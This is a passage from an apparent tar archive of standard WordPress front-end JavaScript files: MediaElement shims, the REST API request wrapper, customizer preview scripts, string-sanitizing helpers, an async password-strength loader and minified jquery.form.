0===mejs.MediaFeatures&&(mejs.MediaFeatures=mejs.Features),void 0===mejs.Utility&&(mejs.Utility=mejs.Utils);var e=MediaElementPlayer.prototype.init,t=(MediaElementPlayer.prototype.init=function(){this.options.classPrefix="mejs-",this.$media=this.$node=a(this.node),e.call(this)},MediaElementPlayer.prototype._meReady);MediaElementPlayer.prototype._meReady=function(){this.container=a(this.container),this.controls=a(this.controls),this.layers=a(this.layers),t.apply(this,arguments)},MediaElementPlayer.prototype.getElement=function(e){return void 0!==a&&e instanceof a?e[0]:e},MediaElementPlayer.prototype.buildfeatures=function(e,t,i,s){for(var l=["playpause","current","progress","duration","tracks","volume","fullscreen"],r=0,n=this.options.features.length;r<n;r++){var o=this.options.features[r];if(this["build"+o])try{-1===l.indexOf(o)?this["build"+o](e,a(t),a(i),s):this["build"+o](e,t,i,s)}catch(e){console.error("error building "+o,e)}}}}((window,jQuery));���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/mediaelement/wp-mediaelement.min.js��������������������������������������������������������������0000644�����������������00000001612�14717703502�0014014 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(e,n){e.wp=e.wp||{},e.wp.mediaelement=new function(){var e={};return{initialize:function(){(e="undefined"!=typeof _wpmejsSettings?n.extend(!0,{},_wpmejsSettings):e).classPrefix="mejs-",e.success=e.success||function(e){var n,t;e.rendererName&&-1!==e.rendererName.indexOf("flash")&&(n=e.attributes.autoplay&&"false"!==e.attributes.autoplay,t=e.attributes.loop&&"false"!==e.attributes.loop,n&&e.addEventListener("canplay",function(){e.play()},!1),t&&e.addEventListener("ended",function(){e.play()},!1))},e.customError=function(e,n){if(-1!==e.rendererName.indexOf("flash")||-1!==e.rendererName.indexOf("flv"))return'<a href="'+n.src+'">'+mejsL10n.strings["mejs.download-file"]+"</a>"},n(".wp-audio-shortcode, .wp-video-shortcode").not(".mejs-container").filter(function(){return!n(this).parent().hasClass("mejs-mediaelement")}).mediaelementplayer(e)}}},n(e.wp.mediaelement.initialize)}(window,jQuery);����������������������������������������������������������������������������������������������������������������������js/api-request.js�����������������������������������������������������������������������������������0000644�����������������00000006374�14717703502�0007775 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * Thin jQuery.ajax wrapper for WP REST API requests. * * Currently only applies to requests that do not use the `wp-api.js` Backbone * client library, though this may change. Serves several purposes: * * - Allows overriding these requests as needed by customized WP installations. * - Sends the REST API nonce as a request header. * - Allows specifying only an endpoint namespace/path instead of a full URL. * * @since 4.9.0 * @since 5.6.0 Added overriding of the "PUT" and "DELETE" methods with "POST". * Added an "application/json" Accept header to all requests. * @output wp-includes/js/api-request.js */ ( function( $ ) { var wpApiSettings = window.wpApiSettings; function apiRequest( options ) { options = apiRequest.buildAjaxOptions( options ); return apiRequest.transport( options ); } apiRequest.buildAjaxOptions = function( options ) { var url = options.url; var path = options.path; var method = options.method; var namespaceTrimmed, endpointTrimmed, apiRoot; var headers, addNonceHeader, addAcceptHeader, headerName; if ( typeof options.namespace === 'string' && typeof options.endpoint === 'string' ) { namespaceTrimmed = options.namespace.replace( /^\/|\/$/g, '' ); endpointTrimmed = options.endpoint.replace( /^\//, '' ); if ( endpointTrimmed ) { path = namespaceTrimmed + '/' + endpointTrimmed; } else { path = namespaceTrimmed; } } if ( typeof path === 'string' ) { apiRoot = wpApiSettings.root; path = path.replace( /^\//, '' ); // API root may already include query parameter prefix // if site is configured to use plain permalinks. if ( 'string' === typeof apiRoot && -1 !== apiRoot.indexOf( '?' ) ) { path = path.replace( '?', '&' ); } url = apiRoot + path; } // If ?_wpnonce=... is present, no need to add a nonce header. addNonceHeader = ! ( options.data && options.data._wpnonce ); addAcceptHeader = true; headers = options.headers || {}; for ( headerName in headers ) { if ( ! headers.hasOwnProperty( headerName ) ) { continue; } // If an 'X-WP-Nonce' or 'Accept' header (or any case-insensitive variation // thereof) was specified, no need to add the header again. switch ( headerName.toLowerCase() ) { case 'x-wp-nonce': addNonceHeader = false; break; case 'accept': addAcceptHeader = false; break; } } if ( addNonceHeader ) { // Do not mutate the original headers object, if any. headers = $.extend( { 'X-WP-Nonce': wpApiSettings.nonce }, headers ); } if ( addAcceptHeader ) { headers = $.extend( { 'Accept': 'application/json, */*;q=0.1' }, headers ); } if ( typeof method === 'string' ) { method = method.toUpperCase(); if ( 'PUT' === method || 'DELETE' === method ) { headers = $.extend( { 'X-HTTP-Method-Override': method }, headers ); method = 'POST'; } } // Do not mutate the original options object. options = $.extend( {}, options, { headers: headers, url: url, method: method } ); delete options.path; delete options.namespace; delete options.endpoint; return options; }; apiRequest.transport = $.ajax; /** @namespace wp */ window.wp = window.wp || {}; window.wp.apiRequest = apiRequest; } )( jQuery ); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/customize-preview.min.js�������������������������������������������������������������������������0000644�����������������00000025007�14717703502�0012013 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ !function(r){var s,i,a,o,c,n,u,l,d,h=wp.customize,p={};(i=history).replaceState&&(c=function(e){var t,n=document.createElement("a");return n.href=e,e=h.utils.parseQueryString(location.search.substr(1)),(t=h.utils.parseQueryString(n.search.substr(1))).customize_changeset_uuid=e.customize_changeset_uuid,e.customize_autosaved&&(t.customize_autosaved="on"),e.customize_theme&&(t.customize_theme=e.customize_theme),e.customize_messenger_channel&&(t.customize_messenger_channel=e.customize_messenger_channel),n.search=r.param(t),n.href},i.replaceState=(a=i.replaceState,function(e,t,n){return p=e,a.call(i,e,t,"string"==typeof n&&0<n.length?c(n):n)}),i.pushState=(o=i.pushState,function(e,t,n){return p=e,o.call(i,e,t,"string"==typeof n&&0<n.length?c(n):n)}),window.addEventListener("popstate",function(e){p=e.state})),s=function(t,n,i){var s;return function(){var e=arguments;i=i||this,clearTimeout(s),s=setTimeout(function(){s=null,t.apply(i,e)},n)}},h.Preview=h.Messenger.extend({initialize:function(e,t){var n=this,i=document.createElement("a");h.Messenger.prototype.initialize.call(n,e,t),i.href=n.origin(),n.add("scheme",i.protocol.replace(/:$/,"")),n.body=r(document.body),n.window=r(window),h.settings.channel&&(n.body.on("click.preview","a",function(e){n.handleLinkClick(e)}),n.body.on("submit.preview","form",function(e){n.handleFormSubmit(e)}),n.window.on("scroll.preview",s(function(){n.send("scroll",n.window.scrollTop())},200)),n.bind("scroll",function(e){n.window.scrollTop(e)}))},handleLinkClick:function(e){var t=r(e.target).closest("a");if(!_.isUndefined(t.attr("href"))&&!("#"===t.attr("href").substr(0,1))&&/^https?:$/.test(t.prop("protocol"))){if(!h.isLinkPreviewable(t[0]))return wp.a11y.speak(h.settings.l10n.linkUnpreviewable),void e.preventDefault();e.preventDefault(),e.shiftKey||this.send("url",t.prop("href"))}},handleFormSubmit:function(e){var t=document.createElement("a"),n=r(e.target);if(t.href=n.prop("action"),"GET"!==n.prop("method").toUpperCase()||!h.isLinkPreviewable(t))return wp.a11y.speak(h.settings.l10n.formUnpreviewable),void e.preventDefault();e.isDefaultPrevented()||(1<t.search.length&&(t.search+="&"),t.search+=n.serialize(),this.send("url",t.href)),e.preventDefault()}}),h.addLinkPreviewing=function(){var t="a[href], area[href]";r(document.body).find(t).each(function(){h.prepareLinkPreview(this)}),"undefined"!=typeof MutationObserver?(h.mutationObserver=new MutationObserver(function(e){_.each(e,function(e){r(e.target).find(t).each(function(){h.prepareLinkPreview(this)})})}),h.mutationObserver.observe(document.documentElement,{childList:!0,subtree:!0})):r(document.documentElement).on("click focus mouseover",t,function(){h.prepareLinkPreview(this)})},h.isLinkPreviewable=function(t,e){var n,i,e=_.extend({},{allowAdminAjax:!1},e||{});return"javascript:"===t.protocol||("https:"===t.protocol||"http:"===t.protocol)&&(i=t.host.replace(/:(80|443)$/,""),n=document.createElement("a"),!_.isUndefined(_.find(h.settings.url.allowed,function(e){return n.href=e,n.protocol===t.protocol&&n.host.replace(/:(80|443)$/,"")===i&&0===t.pathname.indexOf(n.pathname.replace(/\/$/,""))}))&&(!/\/wp-(login|signup)\.php$/.test(t.pathname)&&(/\/wp-admin\/admin-ajax\.php$/.test(t.pathname)?e.allowAdminAjax:!/\/wp-(admin|includes|content)(\/|$)/.test(t.pathname))))},h.prepareLinkPreview=function(e){var t,n=r(e);e.hasAttribute("href")&&!n.closest("#wpadminbar").length&&"#"!==n.attr("href").substr(0,1)&&/^https?:$/.test(e.protocol)&&(h.settings.channel&&"https"===h.preview.scheme.get()&&"http:"===e.protocol&&-1!==h.settings.url.allowedHosts.indexOf(e.host)&&(e.protocol="https:"),n.hasClass("wp-playlist-caption")||(h.isLinkPreviewable(e)?(n.removeClass("customize-unpreviewable"),(t=h.utils.parseQueryString(e.search.substring(1))).customize_changeset_uuid=h.settings.changeset.uuid,h.settings.changeset.autosaved&&(t.customize_autosaved="on"),h.settings.theme.active||(t.customize_theme=h.settings.theme.stylesheet),h.settings.channel&&(t.customize_messenger_channel=h.settings.channel),e.search=r.param(t)):h.settings.channel&&n.addClass("customize-unpreviewable")))},h.addRequestPreviewing=function(){r.ajaxPrefilter(function(e,t,n){var i,s,a={},o=document.createElement("a");o.href=e.url,h.isLinkPreviewable(o,{allowAdminAjax:!0})&&(i=h.utils.parseQueryString(o.search.substring(1)),h.each(function(e){e._dirty&&(a[e.id]=e.get())}),_.isEmpty(a)||("POST"!==(s=e.type.toUpperCase())&&(n.setRequestHeader("X-HTTP-Method-Override",s),i._method=s,e.type="POST"),e.data?e.data+="&":e.data="",e.data+=r.param({customized:JSON.stringify(a)})),i.customize_changeset_uuid=h.settings.changeset.uuid,h.settings.changeset.autosaved&&(i.customize_autosaved="on"),h.settings.theme.active||(i.customize_theme=h.settings.theme.stylesheet),i.customize_preview_nonce=h.settings.nonce.preview,o.search=r.param(i),e.url=o.href)})},h.addFormPreviewing=function(){r(document.body).find("form").each(function(){h.prepareFormPreview(this)}),"undefined"!=typeof MutationObserver&&(h.mutationObserver=new MutationObserver(function(e){_.each(e,function(e){r(e.target).find("form").each(function(){h.prepareFormPreview(this)})})}),h.mutationObserver.observe(document.documentElement,{childList:!0,subtree:!0}))},h.prepareFormPreview=function(i){var e,t={};i.action||(i.action=location.href),(e=document.createElement("a")).href=i.action,h.settings.channel&&"https"===h.preview.scheme.get()&&"http:"===e.protocol&&-1!==h.settings.url.allowedHosts.indexOf(e.host)&&(e.protocol="https:",i.action=e.href),"GET"===i.method.toUpperCase()&&h.isLinkPreviewable(e)?(r(i).removeClass("customize-unpreviewable"),t.customize_changeset_uuid=h.settings.changeset.uuid,h.settings.changeset.autosaved&&(t.customize_autosaved="on"),h.settings.theme.active||(t.customize_theme=h.settings.theme.stylesheet),h.settings.channel&&(t.customize_messenger_channel=h.settings.channel),_.each(t,function(e,t){var n=r(i).find('input[name="'+t+'"]');n.length?n.val(e):r(i).prepend(r("<input>",{type:"hidden",name:t,value:e}))}),h.settings.channel&&(i.target="_self")):h.settings.channel&&r(i).addClass("customize-unpreviewable")},h.keepAliveCurrentUrl=(n=location.pathname,u=location.search.substr(1),l=null,d=["customize_theme","customize_changeset_uuid","customize_messenger_channel","customize_autosaved"],function(){var e,t;u===location.search.substr(1)&&n===location.pathname?h.preview.send("keep-alive"):(e=document.createElement("a"),null===l&&(e.search=u,l=h.utils.parseQueryString(u),_.each(d,function(e){delete l[e]})),e.href=location.href,t=h.utils.parseQueryString(e.search.substr(1)),_.each(d,function(e){delete t[e]}),n===location.pathname&&_.isEqual(l,t)?h.preview.send("keep-alive"):(e.search=r.param(t),e.hash="",h.settings.url.self=e.href,h.preview.send("ready",{currentUrl:h.settings.url.self,activePanels:h.settings.activePanels,activeSections:h.settings.activeSections,activeControls:h.settings.activeControls,settingValidities:h.settings.settingValidities})),l=t,u=location.search.substr(1),n=location.pathname)}),h.settingPreviewHandlers={custom_logo:function(e){r("body").toggleClass("wp-custom-logo",!!e)},custom_css:function(e){r("#wp-custom-css").text(e)},background:function(){var e="",t={};_.each(["color","image","preset","position_x","position_y","size","repeat","attachment"],function(e){t[e]=h("background_"+e)}),r(document.body).toggleClass("custom-background",!(!t.color()&&!t.image())),t.color()&&(e+="background-color: "+t.color()+";"),t.image()&&(e=(e=(e=(e=(e+='background-image: url("'+t.image()+'");')+"background-size: "+t.size()+";")+"background-position: "+t.position_x()+" "+t.position_y()+";")+"background-repeat: "+t.repeat()+";")+"background-attachment: "+t.attachment()+";"),r("#custom-background-css").text("body.custom-background { "+e+" }")}},r(function(){var e,t,n;h.settings=window._wpCustomizeSettings,h.settings&&(h.preview=new h.Preview({url:window.location.href,channel:h.settings.channel}),h.addLinkPreviewing(),h.addRequestPreviewing(),h.addFormPreviewing(),t=function(e,t,n){var i=h(e);i?i.set(t):(n=n||!1,i=h.create(e,t,{id:e}),n&&(i._dirty=!0))},h.preview.bind("settings",function(e){r.each(e,t)}),h.preview.trigger("settings",h.settings.values),r.each(h.settings._dirty,function(e,t){t=h(t);t&&(t._dirty=!0)}),h.preview.bind("setting",function(e){t.apply(null,e.concat(!0))}),h.preview.bind("sync",function(t){t.settings&&t["settings-modified-while-loading"]&&_.each(_.keys(t.settings),function(e){h.has(e)&&!t["settings-modified-while-loading"][e]&&delete t.settings[e]}),r.each(t,function(e,t){h.preview.trigger(e,t)}),h.preview.send("synced")}),h.preview.bind("active",function(){h.preview.send("nonce",h.settings.nonce),h.preview.send("documentTitle",document.title),h.preview.send("scroll",r(window).scrollTop())}),h.preview.bind("changeset-uuid",n=function(e){h.settings.changeset.uuid=e,r(document.body).find("a[href], area[href]").each(function(){h.prepareLinkPreview(this)}),r(document.body).find("form").each(function(){h.prepareFormPreview(this)}),history.replaceState&&history.replaceState(p,"",location.href)}),h.preview.bind("saved",function(e){e.next_changeset_uuid&&n(e.next_changeset_uuid),h.trigger("saved",e)}),h.preview.bind("autosaving",function(){h.settings.changeset.autosaved||(h.settings.changeset.autosaved=!0,r(document.body).find("a[href], area[href]").each(function(){h.prepareLinkPreview(this)}),r(document.body).find("form").each(function(){h.prepareFormPreview(this)}),history.replaceState&&history.replaceState(p,"",location.href))}),h.preview.bind("changeset-saved",function(e){_.each(e.saved_changeset_values,function(e,t){t=h(t);t&&_.isEqual(t.get(),e)&&(t._dirty=!1)})}),h.preview.bind("nonce-refresh",function(e){r.extend(h.settings.nonce,e)}),h.preview.send("ready",{currentUrl:h.settings.url.self,activePanels:h.settings.activePanels,activeSections:h.settings.activeSections,activeControls:h.settings.activeControls,settingValidities:h.settings.settingValidities}),setInterval(h.keepAliveCurrentUrl,h.settings.timeouts.keepAliveSend),h.preview.bind("loading-initiated",function(){r("body").addClass("wp-customizer-unloading")}),h.preview.bind("loading-failed",function(){r("body").removeClass("wp-customizer-unloading")}),e=r.map(["color","image","preset","position_x","position_y","size","repeat","attachment"],function(e){return"background_"+e}),h.when.apply(h,e).done(function(){r.each(arguments,function(){this.bind(h.settingPreviewHandlers.background)})}),h("custom_logo",function(e){h.settingPreviewHandlers.custom_logo.call(e,e.get()),e.bind(h.settingPreviewHandlers.custom_logo)}),h("custom_css["+h.settings.theme.stylesheet+"]",function(e){e.bind(h.settingPreviewHandlers.custom_css)}),h.trigger("preview-ready"))})}((wp,jQuery));�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/wp-sanitize.js�����������������������������������������������������������������������������������0000644�����������������00000002506�14717703502�0010001 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * @output wp-includes/js/wp-sanitize.js */ ( function () { window.wp = window.wp || {}; /** * wp.sanitize * * Helper functions to sanitize strings. */ wp.sanitize = { /** * Strip HTML tags. * * @param {string} text Text to have the HTML tags striped out of. * * @return Stripped text. */ stripTags: function( text ) { text = text || ''; // Do the replacement. var _text = text .replace( /<!--[\s\S]*?(-->|$)/g, '' ) .replace( /<(script|style)[^>]*>[\s\S]*?(<\/\1>|$)/ig, '' ) .replace( /<\/?[a-z][\s\S]*?(>|$)/ig, '' ); // If the initial text is not equal to the modified text, // do the search-replace again, until there is nothing to be replaced. if ( _text !== text ) { return wp.sanitize.stripTags( _text ); } // Return the text with stripped tags. return _text; }, /** * Strip HTML tags and convert HTML entities. * * @param {string} text Text to strip tags and convert HTML entities. * * @return Sanitized text. False on failure. */ stripTagsAndEncodeText: function( text ) { var _text = wp.sanitize.stripTags( text ), textarea = document.createElement( 'textarea' ); try { textarea.textContent = _text; _text = wp.sanitize.stripTags( textarea.value ); } catch ( er ) {} return _text; } }; }() ); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/customize-views.min.js���������������������������������������������������������������������������0000644�����������������00000004623�14717703502�0011470 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ !function(i,e,o){var t;e&&e.customize&&((t=e.customize).HeaderTool.CurrentView=e.Backbone.View.extend({template:e.template("header-current"),initialize:function(){this.listenTo(this.model,"change",this.render),this.render()},render:function(){return this.$el.html(this.template(this.model.toJSON())),this.setButtons(),this},setButtons:function(){var e=i("#customize-control-header_image .actions .remove");this.model.get("choice")?e.show():e.hide()}}),t.HeaderTool.ChoiceView=e.Backbone.View.extend({template:e.template("header-choice"),className:"header-view",events:{"click .choice,.random":"select","click .close":"removeImage"},initialize:function(){var e=[this.model.get("header").url,this.model.get("choice")];this.listenTo(this.model,"change:selected",this.toggleSelected),o.contains(e,t.get().header_image)&&t.HeaderTool.currentHeader.set(this.extendedModel())},render:function(){return this.$el.html(this.template(this.extendedModel())),this.toggleSelected(),this},toggleSelected:function(){this.$el.toggleClass("selected",this.model.get("selected"))},extendedModel:function(){var e=this.model.get("collection");return o.extend(this.model.toJSON(),{type:e.type})},select:function(){this.preventJump(),this.model.save(),t.HeaderTool.currentHeader.set(this.extendedModel())},preventJump:function(){var e=i(".wp-full-overlay-sidebar-content"),t=e.scrollTop();o.defer(function(){e.scrollTop(t)})},removeImage:function(e){e.stopPropagation(),this.model.destroy(),this.remove()}}),t.HeaderTool.ChoiceListView=e.Backbone.View.extend({initialize:function(){this.listenTo(this.collection,"add",this.addOne),this.listenTo(this.collection,"remove",this.render),this.listenTo(this.collection,"sort",this.render),this.listenTo(this.collection,"change",this.toggleList),this.render()},render:function(){this.$el.empty(),this.collection.each(this.addOne,this),this.toggleList()},addOne:function(e){e.set({collection:this.collection}),e=new t.HeaderTool.ChoiceView({model:e}),this.$el.append(e.render().el)},toggleList:function(){var e=this.$el.parents().prev(".customize-control-title"),t=this.$el.find(".random").parent();this.collection.shouldHideTitle()?e.add(t).hide():e.add(t).show()}}),t.HeaderTool.CombinedList=e.Backbone.View.extend({initialize:function(e){this.collections=e,this.on("all",this.propagate,this)},propagate:function(t,i){o.each(this.collections,function(e){e.trigger(t,i)})}}))}(jQuery,window.wp,_);�������������������������������������������������������������������������������������������������������������js/zxcvbn-async.js����������������������������������������������������������������������������������0000644�����������������00000001465�14717703502�0010157 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * @output wp-includes/js/zxcvbn-async.js */ /* global _zxcvbnSettings */ /** * Loads zxcvbn asynchronously by inserting an async script tag before the first * script tag on the page. * * This makes sure zxcvbn isn't blocking loading the page as it is a big * library. The source for zxcvbn is read from the _zxcvbnSettings global. */ (function() { var async_load = function() { var first, s; s = document.createElement('script'); s.src = _zxcvbnSettings.src; s.type = 'text/javascript'; s.async = true; first = document.getElementsByTagName('script')[0]; return first.parentNode.insertBefore(s, first); }; if (window.attachEvent != null) { window.attachEvent('onload', async_load); } else { window.addEventListener('load', async_load, false); } }).call(this); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/jquery.form.min.js������������������������������������������������������������������������0000644�����������������00000037355�14717703502�0012123 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(r){"function"==typeof define&&define.amd?define(["jquery"],r):"object"==typeof module&&module.exports?module.exports=function(e,t){return void 0===t&&(t="undefined"!=typeof window?require("jquery"):require("jquery")(e)),r(t),t}:r(jQuery)}(function(O){"use strict";var d=/\r?\n/g,h={},X=(h.fileapi=void 0!==O('<input type="file">').get(0).files,h.formdata=void 0!==window.FormData,!!O.fn.prop);function o(e){var t=e.data;e.isDefaultPrevented()||(e.preventDefault(),O(e.target).closest("form").ajaxSubmit(t))}function i(e){var t=e.target,r=O(t);if(!r.is("[type=submit],[type=image]")){var a=r.closest("[type=submit]");if(0===a.length)return;t=a[0]}var n=t.form;"image"===(n.clk=t).type&&(void 0!==e.offsetX?(n.clk_x=e.offsetX,n.clk_y=e.offsetY):"function"==typeof O.fn.offset?(a=r.offset(),n.clk_x=e.pageX-a.left,n.clk_y=e.pageY-a.top):(n.clk_x=e.pageX-t.offsetLeft,n.clk_y=e.pageY-t.offsetTop)),setTimeout(function(){n.clk=n.clk_x=n.clk_y=null},100)}function C(){var e;O.fn.ajaxSubmit.debug&&(e="[jquery.form] "+Array.prototype.join.call(arguments,""),window.console&&window.console.log?window.console.log(e):window.opera&&window.opera.postError&&window.opera.postError(e))}O.fn.attr2=function(){if(!X)return this.attr.apply(this,arguments);var e=this.prop.apply(this,arguments);return e&&e.jquery||"string"==typeof e?e:this.attr.apply(this,arguments)},O.fn.ajaxSubmit=function(F,e,t,r){if(!this.length)return C("ajaxSubmit: skipping submit process - no element selected"),this;var E,L=this,e=("function"==typeof F?F={success:F}:"string"==typeof F||!1===F&&0<arguments.length?(F={url:F,data:e,dataType:t},"function"==typeof r&&(F.success=r)):void 0===F&&(F={}),E=F.method||F.type||this.attr2("method"),t=(t=(t="string"==typeof(e=F.url||this.attr2("action"))?O.trim(e):"")||window.location.href||"")&&(t.match(/^([^#]+)/)||[])[1],r=/(MSIE|Trident)/.test(navigator.userAgent||"")&&/^https/i.test(window.location.href||"")?"javascript:false":"about:blank",F=O.extend(!0,{url:t,success:O.ajaxSettings.success,type:E||O.ajaxSettings.type,iframeSrc:r},F),{});if(this.trigger("form-pre-serialize",[this,F,e]),e.veto)return C("ajaxSubmit: submit vetoed via form-pre-serialize trigger"),this;if(F.beforeSerialize&&!1===F.beforeSerialize(this,F))return C("ajaxSubmit: submit aborted via beforeSerialize callback"),this;var t=F.traditional,M=(void 0===t&&(t=O.ajaxSettings.traditional),[]),a=this.formToArray(F.semantic,M,F.filtering);if(F.data&&(r=O.isFunction(F.data)?F.data(a):F.data,F.extraData=r,c=O.param(r,t)),F.beforeSubmit&&!1===F.beforeSubmit(a,this,F))return C("ajaxSubmit: submit aborted via beforeSubmit callback"),this;if(this.trigger("form-submit-validate",[a,this,F,e]),e.veto)return C("ajaxSubmit: submit vetoed via form-submit-validate trigger"),this;var o,n,i,r=O.param(a,t),s=(c&&(r=r?r+"&"+c:c),"GET"===F.type.toUpperCase()?(F.url+=(0<=F.url.indexOf("?")?"&":"?")+r,F.data=null):F.data=r,[]);F.resetForm&&s.push(function(){L.resetForm()}),F.clearForm&&s.push(function(){L.clearForm(F.includeHidden)}),!F.dataType&&F.target?(o=F.success||function(){},s.push(function(e,t,r){var a=arguments,n=F.replaceTarget?"replaceWith":"html";O(F.target)[n](e).each(function(){o.apply(this,a)})})):F.success&&(O.isArray(F.success)?O.merge(s,F.success):s.push(F.success)),F.success=function(e,t,r){for(var a=F.context||this,n=0,o=s.length;n<o;n++)s[n].apply(a,[e,t,r||L,L])},F.error&&(n=F.error,F.error=function(e,t,r){var a=F.context||this;n.apply(a,[e,t,r,L])}),F.complete&&(i=F.complete,F.complete=function(e,t){var r=F.context||this;i.apply(r,[e,t,L])});var u,e=0<O("input[type=file]:enabled",this).filter(function(){return""!==O(this).val()}).length,t="multipart/form-data",c=L.attr("enctype")===t||L.attr("encoding")===t,r=h.fileapi&&h.formdata;C("fileAPI :"+r),!1!==F.iframe&&(F.iframe||(e||c)&&!r)?F.closeKeepAlive?O.get(F.closeKeepAlive,function(){u=f(a)}):u=f(a):u=(e||c)&&r?function(e){for(var r=new FormData,t=0;t<e.length;t++)r.append(e[t].name,e[t].value);if(F.extraData){var a=function(e){var t,r,a=O.param(e,F.traditional).split("&"),n=a.length,o=[];for(t=0;t<n;t++)a[t]=a[t].replace(/\+/g," "),r=a[t].split("="),o.push([decodeURIComponent(r[0]),decodeURIComponent(r[1])]);return o}(F.extraData);for(t=0;t<a.length;t++)a[t]&&r.append(a[t][0],a[t][1])}F.data=null;var n=O.extend(!0,{},O.ajaxSettings,F,{contentType:!1,processData:!1,cache:!1,type:E||"POST"});F.uploadProgress&&(n.xhr=function(){var e=O.ajaxSettings.xhr();return e.upload&&e.upload.addEventListener("progress",function(e){var t=0,r=e.loaded||e.position,a=e.total;e.lengthComputable&&(t=Math.ceil(r/a*100)),F.uploadProgress(e,r,a,t)},!1),e});n.data=null;var o=n.beforeSend;return n.beforeSend=function(e,t){F.formData?t.data=F.formData:t.data=r,o&&o.call(this,e,t)},O.ajax(n)}(a):O.ajax(F),L.removeData("jqxhr").data("jqxhr",u);for(var l=0;l<M.length;l++)M[l]=null;return this.trigger("form-submit-notify",[this,F]),this;function f(e){var t,r,c,l,f,d,p,m,h,o=L[0],g=O.Deferred();if(g.abort=function(e){p.abort(e)},e)for(r=0;r<M.length;r++)t=O(M[r]),X?t.prop("disabled",!1):t.removeAttr("disabled");(c=O.extend(!0,{},O.ajaxSettings,F)).context=c.context||c;var i="jqFormIO"+(new Date).getTime(),s=o.ownerDocument,u=L.closest("body");if(c.iframeTarget?(a=(f=O(c.iframeTarget,s)).attr2("name"))?i=a:f.attr2("name",i):(f=O('<iframe name="'+i+'" src="'+c.iframeSrc+'" />',s)).css({position:"absolute",top:"-1000px",left:"-1000px"}),d=f[0],p={aborted:0,responseText:null,responseXML:null,status:0,statusText:"n/a",getAllResponseHeaders:function(){},getResponseHeader:function(){},setRequestHeader:function(){},abort:function(e){var t="timeout"===e?"timeout":"aborted";C("aborting upload... "+t),this.aborted=1;try{d.contentWindow.document.execCommand&&d.contentWindow.document.execCommand("Stop")}catch(e){}f.attr("src",c.iframeSrc),p.error=t,c.error&&c.error.call(c.context,p,t,e),l&&O.event.trigger("ajaxError",[p,c,t]),c.complete&&c.complete.call(c.context,p,t)}},(l=c.global)&&0==O.active++&&O.event.trigger("ajaxStart"),l&&O.event.trigger("ajaxSend",[p,c]),c.beforeSend&&!1===c.beforeSend.call(c.context,p,c))return c.global&&O.active--,g.reject(),g;if(p.aborted)return g.reject(),g;(e=o.clk)&&(a=e.name)&&!e.disabled&&(c.extraData=c.extraData||{},c.extraData[a]=e.value,"image"===e.type&&(c.extraData[a+".x"]=o.clk_x,c.extraData[a+".y"]=o.clk_y));var v=1,x=2;function y(t){var r=null;try{t.contentWindow&&(r=t.contentWindow.document)}catch(e){C("cannot get iframe.contentWindow document: "+e)}if(r)return r;try{r=t.contentDocument||t.document}catch(e){C("cannot get iframe.contentDocument: "+e),r=t.document}return r}var e=O("meta[name=csrf-token]").attr("content"),a=O("meta[name=csrf-param]").attr("content");function n(){var e=L.attr2("target"),t=L.attr2("action"),r=L.attr("enctype")||L.attr("encoding")||"multipart/form-data";o.setAttribute("target",i),E&&!/post/i.test(E)||o.setAttribute("method","POST"),t!==c.url&&o.setAttribute("action",c.url),c.skipEncodingOverride||E&&!/post/i.test(E)||L.attr({encoding:"multipart/form-data",enctype:"multipart/form-data"}),c.timeout&&(h=setTimeout(function(){m=!0,S(v)},c.timeout));var a=[];try{if(c.extraData)for(var n in c.extraData)c.extraData.hasOwnProperty(n)&&(O.isPlainObject(c.extraData[n])&&c.extraData[n].hasOwnProperty("name")&&c.extraData[n].hasOwnProperty("value")?a.push(O('<input type="hidden" name="'+c.extraData[n].name+'">',s).val(c.extraData[n].value).appendTo(o)[0]):a.push(O('<input type="hidden" name="'+n+'">',s).val(c.extraData[n]).appendTo(o)[0]));c.iframeTarget||f.appendTo(u),d.attachEvent?d.attachEvent("onload",S):d.addEventListener("load",S,!1),setTimeout(function e(){try{var t=y(d).readyState;C("state = "+t),t&&"uninitialized"===t.toLowerCase()&&setTimeout(e,50)}catch(e){C("Server abort: ",e," (",e.name,")"),S(x),h&&clearTimeout(h),h=void 0}},15);try{o.submit()}catch(e){document.createElement("form").submit.apply(o)}}finally{o.setAttribute("action",t),o.setAttribute("enctype",r),e?o.setAttribute("target",e):L.removeAttr("target"),O(a).remove()}}a&&e&&(c.extraData=c.extraData||{},c.extraData[a]=e),c.forceSync?n():setTimeout(n,10);var b,T,j,w=50;function S(t){if(!p.aborted&&!j){if((T=y(d))||(C("cannot access response document"),t=x),t===v&&p)return p.abort("timeout"),void g.reject(p,"timeout");if(t===x&&p)return p.abort("server abort"),void g.reject(p,"error","server abort");if(T&&T.location.href!==c.iframeSrc||m){d.detachEvent?d.detachEvent("onload",S):d.removeEventListener("load",S,!1);var r,t="success";try{if(m)throw"timeout";var e="xml"===c.dataType||T.XMLDocument||O.isXMLDoc(T);if(C("isXml="+e),!e&&window.opera&&(null===T.body||!T.body.innerHTML)&&--w)return C("requeing onLoad callback, DOM not available"),void setTimeout(S,250);var 